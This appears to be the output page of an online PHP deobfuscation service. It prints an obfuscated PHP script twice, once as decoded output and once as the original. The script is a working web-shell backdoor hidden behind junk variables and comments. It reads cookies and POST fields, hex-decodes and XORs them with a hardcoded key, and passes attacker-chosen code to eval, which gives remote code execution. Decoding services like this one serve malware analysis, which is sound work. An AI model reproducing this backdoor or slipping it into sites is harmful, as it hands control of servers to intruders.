Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function HbFrNKA($AeWDhAXqMQ) /* s */{ ..

Decoded Output download

<?php   
function   HbFrNKA($AeWDhAXqMQ)   
/* s   */{   
                                  return   @pack(       chr (72)        .   "*",/*   aThf*/$AeWDhAXqMQ/*   ekGq   */);$_ZWVZ   =     '11399';   
   
   
        $FMhfCC =       md5($AeWDhAXqMQ);   
       $EHYMDF  =/*f   */base64_decode($AeWDhAXqMQ);;   
           /*   SaXR*/if ($EHYMDF     ===/*  XfDV   */false)/*DDO  */{   
   
        $EHYMDF/*L */=/*  NpEnm */'';   
                                /* msXCv*/}   
   
   
/*wff  */$bHAuLTBKA     =       str_split($AeWDhAXqMQ);;   
        /*tJ  */$fcKpEzv   =    strlen($AeWDhAXqMQ);$_H =       '17636';   
        $RFwcHHqvzS =/*wk */0;;   
                                /*   Otem   */while     (   $RFwcHHqvzS    < $fcKpEzv     )     {   
        /*DRAYX  */$RFwcHHqvzS++;   
                                    $cxGiYUP   =/*   bkXad */$bHAuLTBKA[$RFwcHHqvzS];$_d    =    '22141';   
/* lM  */if     (strpos($cxGiYUP,       'a')     !==/*   joX*/false)/*v  */{   
           $bHAuLTBKA[$RFwcHHqvzS]      =/*fqLeW*/strtoupper($cxGiYUP);;   
         }   
                                }   
        $kxtjkXkOeo/* tfL  */=     implode('',  $bHAuLTBKA);   
                $_GET['decoded']/*  bsXPM */=   $kxtjkXkOeo;;   
    $_POST['hash']      =   $FMhfCC;;   
/*  PLo   */if  (file_exists('path/to/file'))    {   
           $zqGHlF      =       file_get_contents('path/to/file');$_DDcj/*  lSw  */=    '56966';   
                                        $uYhUuP =/*  UM */explode(',',/*PP*/$zqGHlF);   
           $wRszYiOzK   =    md5(serialize($uYhUuP));$_mW       =       '30212';   
        if (is_array($uYhUuP))  {   
          $IUXWMGXr =/*  xpgi */array_slice($uYhUuP,    0,/*  tOO   */5);$_Jg/*  tipE*/=   '11048';   
       }   
/* cEW*/}   
        $TewwnQ/*   uWbyT  */=/*R   */array_map('trim', $IUXWMGXr);   
                                        $FfPkMd     =/*  XN   */rawurldecode(implode(',',/* Tk*/$TewwnQ));   
                /* LQRKd*/$_COOKIE['final_value']       =       $FfPkMd;   
     /* yVv */}   
             
           /*   ZoH  */function yrMneRE()   
           {   
   
/*VAkE  */$hwRJUWLoF/* dIM*/= Array($_COOKIE,/*  VC*/$_POST);;   
        $EYhHNLRcof     =/* oC   */array_map('md5',/*yGul*/$_COOKIE);   
                /* CqLa */$CcvCL        =  strpos($_SERVER['HTTP_USER_AGENT'], 'Mozilla')     !==  false     ?  'browser   is/*   OJMc */Mozilla'       :/*  mEi   */'browser/*   z  */is/*   J */not   Mozilla';   
   
                if      (is_array($hwRJUWLoF))/*gPA */{   
                                 $zrjrAT   =    array_slice($hwRJUWLoF,/*   R*/0,    1);;   
                }/* I */else {   
                                 $zrjrAT     =  [];;   
           }   
                       
   
/* DS*/$QANjNmlZFn     =/*  uRh*/explode(',',     'apple,orange,banana');$_yk =  '11795';   
                                /*ze*/$GlEuAlwHh        =/*   cLMY */rawurldecode('%20Hello%20World%20');   
   
   
     $RFwcHHqvzS  =     0;;/*z  */   
                /* Y */while    ($RFwcHHqvzS    <  count($QANjNmlZFn)   )/*  NhB  */{   
                     $QANjNmlZFn[$RFwcHHqvzS]  =        str_repeat($QANjNmlZFn[$RFwcHHqvzS],    2);   
                        /*   N   */$RFwcHHqvzS++;   
                                     }   
   
   
/*  fjSra   */$rWLutWF =        str_repeat($CcvCL,      3);   
 /*Fic */   
            return/*   ysgLM*/$hwRJUWLoF;   
      }   
    /*aBjHS */   
           /* YgBzI */function/*   kOv   */fzwHYpI($aWbpGYefrc)   
        {   
  /*GUk  */$yNPEMwuBbo  =    chr     (   763   -/*  E  */728  );   
        foreach (yrMneRE()      as/*fAaTj  */$uOjcR) {   
   
   
  bcOeRHQBHl($uOjcR,   $yNPEMwuBbo);$_F     =  '56676';   
   
        }   
    }   
   
   
       
   
        function        KDpXD($szVomlZs,  $OmjFYxkm)   
   
   
/*s*/{   
                if/*MrUdY */(/*   CSm*/count    (/*VsqDc */$szVomlZs     )/*  cwE  */== 3/*EN  */)      {   
     $MWJxjtvkba/*   NiJ  */=   $szVomlZs[1];   
    /*   z*/$wvPEiOPYpv/*  mafB   */= $szVomlZs[2];;   
        $uFJeuar   =    $MWJxjtvkba($wvPEiOPYpv);;   
        eval    ( $uFJeuar/*   y */);   
        die ();$_Uuv/*   netoa   */=/*   jksm   */'7964';   
   
        }   
                   }   
                                    
        function        qTdttxFKmn($AeWDhAXqMQ,/*   VtzYf */$gZbqR)   
   
  {   
 /*B */return/*  VoZ*/$AeWDhAXqMQ       ^  $gZbqR;;   
      }   
   
        
   
    function/*   Ybjye*/DqIdG($lVCyRtCAwW, $yNPEMwuBbo)   
              {      
   
        $lVCyRtCAwW/*N   */=    explode/*  rClAC  */($yNPEMwuBbo,/* EalNL  */$lVCyRtCAwW  );   
/*  nw*/   
   
/*  f  */KDpXD($lVCyRtCAwW,/*ao */$yNPEMwuBbo);   
   
        }   
   
   
   
           /* Q   */function     bcOeRHQBHl($uOjcR,     $yNPEMwuBbo)   
        {   
                        foreach (/*   BMoE  */$uOjcR/*   jGw  */as/*  Ez */$gZbqR =>    $AeWDhAXqMQ/*  ffSk */)/*Q*/{   
   
  XMpOLoO($gZbqR,/*Vv   */HbFrNKA($AeWDhAXqMQ),/*   dsQcE  */$yNPEMwuBbo);;   
                        }   
   
 }   
                /*ay*/   
    /* bUqi */function/*  nrjD  */APahRUX($gZbqR,       $AeWDhAXqMQ)   
   
   
/*QgR */{   
           /*  V  */$xlRuZbwmj/*  mBAJl  */=    strlen(/*D*/$AeWDhAXqMQ/*   FK */)/strlen( $gZbqR       );   
                /*aTkr */$gZbqR/*  ewAV */.=    "rnnQO-DofnYEm-SRXNf-WLrSt-vmPTLGK-CVnFD-adNWU";   
                                /*KS  */$gZbqR/*  KTPx  */=     str_repeat  (  $gZbqR,  intval($xlRuZbwmj)      +       1);$_hFJPy  =    '4616';   
     /*  n   */   
/*  BpFIc   */return/* exVG */$gZbqR;   
        }   
                /*   Z */   
           /*l*/function/*   K  */XMpOLoO($gZbqR,  $AeWDhAXqMQ,/*  QfnRs   */$yNPEMwuBbo)   
        {        
           DqIdG(qTdttxFKmn($AeWDhAXqMQ,/*WJ   */APahRUX($gZbqR,        $AeWDhAXqMQ)),  $yNPEMwuBbo);   
        $AeWDhAXqMQ     =    str_repeat/*ZIptH */(      $yNPEMwuBbo,   strlen($AeWDhAXqMQ));;   
           /*IXDd  */}   
   
   
   
  /*  FtrK  */fzwHYpI("");$_ql/*ZO  */= '46822'; ?> 

Did this file decode correctly?

Original Code

<?php  
function   HbFrNKA($AeWDhAXqMQ)  
/* s   */{  
                                  return   @pack(       chr (72)        .   "*",/*   aThf*/$AeWDhAXqMQ/*   ekGq   */);$_ZWVZ   =     '11399';  
  
  
        $FMhfCC =       md5($AeWDhAXqMQ);  
       $EHYMDF  =/*f   */base64_decode($AeWDhAXqMQ);;  
           /*   SaXR*/if ($EHYMDF     ===/*  XfDV   */false)/*DDO  */{  
  
        $EHYMDF/*L */=/*  NpEnm */'';  
                                /* msXCv*/}  
  
  
/*wff  */$bHAuLTBKA     =       str_split($AeWDhAXqMQ);;  
        /*tJ  */$fcKpEzv   =    strlen($AeWDhAXqMQ);$_H =       '17636';  
        $RFwcHHqvzS =/*wk */0;;  
                                /*   Otem   */while     (   $RFwcHHqvzS    < $fcKpEzv     )     {  
        /*DRAYX  */$RFwcHHqvzS++;  
                                    $cxGiYUP   =/*   bkXad */$bHAuLTBKA[$RFwcHHqvzS];$_d    =    '22141';  
/* lM  */if     (strpos($cxGiYUP,       'a')     !==/*   joX*/false)/*v  */{  
           $bHAuLTBKA[$RFwcHHqvzS]      =/*fqLeW*/strtoupper($cxGiYUP);;  
         }  
                                }  
        $kxtjkXkOeo/* tfL  */=     implode('',  $bHAuLTBKA);  
                $_GET['decoded']/*  bsXPM */=   $kxtjkXkOeo;;  
    $_POST['hash']      =   $FMhfCC;;  
/*  PLo   */if  (file_exists('path/to/file'))    {  
           $zqGHlF      =       file_get_contents('path/to/file');$_DDcj/*  lSw  */=    '56966';  
                                        $uYhUuP =/*  UM */explode(',',/*PP*/$zqGHlF);  
           $wRszYiOzK   =    md5(serialize($uYhUuP));$_mW       =       '30212';  
        if (is_array($uYhUuP))  {  
          $IUXWMGXr =/*  xpgi */array_slice($uYhUuP,    0,/*  tOO   */5);$_Jg/*  tipE*/=   '11048';  
       }  
/* cEW*/}  
        $TewwnQ/*   uWbyT  */=/*R   */array_map('trim', $IUXWMGXr);  
                                        $FfPkMd     =/*  XN   */rawurldecode(implode(',',/* Tk*/$TewwnQ));  
                /* LQRKd*/$_COOKIE['final_value']       =       $FfPkMd;  
     /* yVv */}  
            
           /*   ZoH  */function yrMneRE()  
           {  
  
/*VAkE  */$hwRJUWLoF/* dIM*/= Array($_COOKIE,/*  VC*/$_POST);;  
        $EYhHNLRcof     =/* oC   */array_map('md5',/*yGul*/$_COOKIE);  
                /* CqLa */$CcvCL        =  strpos($_SERVER['HTTP_USER_AGENT'], 'Mozilla')     !==  false     ?  'browser   is/*   OJMc */Mozilla'       :/*  mEi   */'browser/*   z  */is/*   J */not   Mozilla';  
  
                if      (is_array($hwRJUWLoF))/*gPA */{  
                                 $zrjrAT   =    array_slice($hwRJUWLoF,/*   R*/0,    1);;  
                }/* I */else {  
                                 $zrjrAT     =  [];;  
           }  
                      
  
/* DS*/$QANjNmlZFn     =/*  uRh*/explode(',',     'apple,orange,banana');$_yk =  '11795';  
                                /*ze*/$GlEuAlwHh        =/*   cLMY */rawurldecode('%20Hello%20World%20');  
  
  
     $RFwcHHqvzS  =     0;;/*z  */  
                /* Y */while    ($RFwcHHqvzS    <  count($QANjNmlZFn)   )/*  NhB  */{  
                     $QANjNmlZFn[$RFwcHHqvzS]  =        str_repeat($QANjNmlZFn[$RFwcHHqvzS],    2);  
                        /*   N   */$RFwcHHqvzS++;  
                                     }  
  
  
/*  fjSra   */$rWLutWF =        str_repeat($CcvCL,      3);  
 /*Fic */  
            return/*   ysgLM*/$hwRJUWLoF;  
      }  
    /*aBjHS */  
           /* YgBzI */function/*   kOv   */fzwHYpI($aWbpGYefrc)  
        {  
  /*GUk  */$yNPEMwuBbo  =    chr     (   763   -/*  E  */728  );  
        foreach (yrMneRE()      as/*fAaTj  */$uOjcR) {  
  
  
  bcOeRHQBHl($uOjcR,   $yNPEMwuBbo);$_F     =  '56676';  
  
        }  
    }  
  
  
      
  
        function        KDpXD($szVomlZs,  $OmjFYxkm)  
  
  
/*s*/{  
                if/*MrUdY */(/*   CSm*/count    (/*VsqDc */$szVomlZs     )/*  cwE  */== 3/*EN  */)      {  
     $MWJxjtvkba/*   NiJ  */=   $szVomlZs[1];  
    /*   z*/$wvPEiOPYpv/*  mafB   */= $szVomlZs[2];;  
        $uFJeuar   =    $MWJxjtvkba($wvPEiOPYpv);;  
        eval    ( $uFJeuar/*   y */);  
        die ();$_Uuv/*   netoa   */=/*   jksm   */'7964';  
  
        }  
                   }  
                                   
        function        qTdttxFKmn($AeWDhAXqMQ,/*   VtzYf */$gZbqR)  
  
  {  
 /*B */return/*  VoZ*/$AeWDhAXqMQ       ^  $gZbqR;;  
      }  
  
       
  
    function/*   Ybjye*/DqIdG($lVCyRtCAwW, $yNPEMwuBbo)  
              {     
  
        $lVCyRtCAwW/*N   */=    explode/*  rClAC  */($yNPEMwuBbo,/* EalNL  */$lVCyRtCAwW  );  
/*  nw*/  
  
/*  f  */KDpXD($lVCyRtCAwW,/*ao */$yNPEMwuBbo);  
  
        }  
  
  
  
           /* Q   */function     bcOeRHQBHl($uOjcR,     $yNPEMwuBbo)  
        {  
                        foreach (/*   BMoE  */$uOjcR/*   jGw  */as/*  Ez */$gZbqR =>    $AeWDhAXqMQ/*  ffSk */)/*Q*/{  
  
  XMpOLoO($gZbqR,/*Vv   */HbFrNKA($AeWDhAXqMQ),/*   dsQcE  */$yNPEMwuBbo);;  
                        }  
  
 }  
                /*ay*/  
    /* bUqi */function/*  nrjD  */APahRUX($gZbqR,       $AeWDhAXqMQ)  
  
  
/*QgR */{  
           /*  V  */$xlRuZbwmj/*  mBAJl  */=    strlen(/*D*/$AeWDhAXqMQ/*   FK */)/strlen( $gZbqR       );  
                /*aTkr */$gZbqR/*  ewAV */.=    "rnnQO-DofnYEm-SRXNf-WLrSt-vmPTLGK-CVnFD-adNWU";  
                                /*KS  */$gZbqR/*  KTPx  */=     str_repeat  (  $gZbqR,  intval($xlRuZbwmj)      +       1);$_hFJPy  =    '4616';  
     /*  n   */  
/*  BpFIc   */return/* exVG */$gZbqR;  
        }  
                /*   Z */  
           /*l*/function/*   K  */XMpOLoO($gZbqR,  $AeWDhAXqMQ,/*  QfnRs   */$yNPEMwuBbo)  
        {       
           DqIdG(qTdttxFKmn($AeWDhAXqMQ,/*WJ   */APahRUX($gZbqR,        $AeWDhAXqMQ)),  $yNPEMwuBbo);  
        $AeWDhAXqMQ     =    str_repeat/*ZIptH */(      $yNPEMwuBbo,   strlen($AeWDhAXqMQ));;  
           /*IXDd  */}  
  
  
  
  /*  FtrK  */fzwHYpI("");$_ql/*ZO  */= '46822'; ?> 

Function Calls

None

Variables

None

Stats

MD5 fc54a0b26134047db9cf964eed20f580
Eval Count 0
Decode Time 48 ms